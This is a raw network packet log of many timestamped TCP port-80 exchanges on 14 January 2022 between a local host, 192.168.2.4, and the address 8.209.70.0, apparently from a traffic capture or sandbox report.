Jan 14, 2022 20:29:50.168183088 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168194056 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168206930 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168220997 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168232918 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168246031 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168257952 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168268919 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168282032 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168294907 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168307066 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168317080 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168332100 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168342113 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168355942 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168368101 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168382883 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168390989 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168407917 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168418884 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168433905 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168447018 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168458939 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168469906 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168483019 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168497086 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168509007 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168519974 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168533087 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168545008 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168556929 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168566942 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168581963 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168593884 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168606997 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168617964 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168632030 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168643951 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168658018 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168667078 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168682098 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168694973 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168706894 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168718100 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168731928 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168745041 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168756962 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168767929 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168783903 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168793917 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168808937 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168821096 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168834925 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168845892 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168860912 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168869972 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168885946 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168899059 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168910980 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168922901 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168936014 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168948889 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168960094 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168971062 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168986082 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168997049 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.169009924 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.169020891 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.169034958 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.169047117 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.169070959 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.169282913 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.169306993 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.169342041 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.169363022 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.171328068 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.180824041 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.180876970 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.180902958 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.180927038 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.180967093 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.181005955 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.181030035 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.181054115 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.181077957 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.181101084 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.181122065 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.181124926 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.181189060 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.181832075 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.182276011 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.182297945 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.182322979 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.182347059 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.182348013 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.182370901 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.182390928 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.182394981 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.182420969 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.182436943 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.182440996 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.182461023 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.182475090 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.182522058 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186201096 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186363935 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186386108 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186403036 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186419010 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186436892 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186444044 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186455011 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186471939 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186475992 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186489105 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186497927 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186507940 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186516047 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186525106 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186547995 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186548948 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186573982 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186594963 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186598063 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186618090 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186635017 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186646938 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186652899 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186670065 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186678886 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186686993 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186705112 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186707973 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186726093 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186750889 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186772108 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186774015 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186789036 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186806917 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186826944 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186829090 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186846972 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186871052 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186871052 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186893940 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186923981 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186933994 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.186943054 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186964035 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186984062 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.186994076 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187001944 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187005043 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187019110 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187041998 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187050104 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187064886 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187082052 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187099934 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187108994 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187118053 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187134981 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187139988 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187155008 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187164068 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187176943 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187196970 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187200069 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187220097 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187237024 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187242985 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187252998 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187271118 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187274933 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187289000 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187305927 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187323093 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187331915 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187340975 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187359095 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187364101 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187377930 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187388897 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187395096 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187412024 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187428951 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187432051 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187446117 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187458992 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187463999 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187482119 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.187489986 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187524080 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.187891960 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.198586941 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.198609114 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.198626995 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.198643923 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.198659897 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.198678017 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.198689938 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.198695898 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.198714018 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.198717117 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.198730946 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.198749065 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.198771954 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.198791027 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.199639082 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.199657917 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.199676037 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.199692011 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.199711084 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.199728012 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.199744940 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.199762106 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.199779034 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.199784994 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.199805975 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.204643965 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204673052 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204698086 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204722881 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204726934 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.204747915 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204760075 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.204772949 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204792023 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.204798937 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204823017 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204835892 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.204847097 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204873085 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204896927 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204911947 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.204921007 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204942942 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.204945087 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204979897 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.204993010 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205004930 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205030918 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205054998 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205074072 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205079079 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205102921 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205106974 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205127954 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205148935 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205152988 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205177069 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205193996 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205203056 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205228090 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205251932 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205271006 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205276966 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205298901 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205302954 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205327988 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205341101 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205353022 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205384016 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205405951 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205431938 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205432892 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205457926 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205461025 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205486059 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205502987 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205512047 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205537081 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205562115 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205583096 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205585003 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205607891 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205610991 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205635071 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205647945 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205660105 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205683947 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205708981 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205724001 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205734015 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205754042 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205759048 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205782890 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205806971 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205822945 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205831051 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205861092 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205871105 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205895901 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205914021 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.205919027 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205945969 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205966949 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.205992937 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.206017017 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.206018925 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.206041098 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.206042051 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.206062078 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.206065893 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.206091881 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.206104994 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.206115961 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.206140041 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.206182003 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.215939999 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.215966940 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.215991974 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.216006041 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.216013908 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.216032028 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.216039896 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.216051102 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.216068983 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.216082096 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.216094017 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.216109991 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.216116905 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.216123104 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.216150045 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.216917992 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.216945887 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.216969013 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.216970921 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.217070103 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.217092991 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.217118979 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.218422890 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223282099 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223313093 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223331928 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223357916 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223378897 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223392963 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223404884 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223423004 CET	49870	80	192.168.2.4	8.209.70.0
